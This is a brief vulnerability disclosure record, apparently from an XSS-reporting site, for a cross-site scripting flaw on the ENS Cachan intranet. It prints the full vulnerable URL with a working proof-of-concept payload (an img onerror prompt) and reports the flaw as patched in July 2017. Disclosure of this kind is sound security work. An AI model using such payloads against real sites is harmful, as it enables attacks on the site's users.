intranet.ens-cachan.fr XSS vulnerability

Vulnerable URL: http://intranet.ens-cachan.fr/servlet/com.jsbsoft.jtf.core.SG?PROC=RECHERCHE=RECHERCHER=%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E=1188555128971=0=1188555128971 Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 18:14 GMT...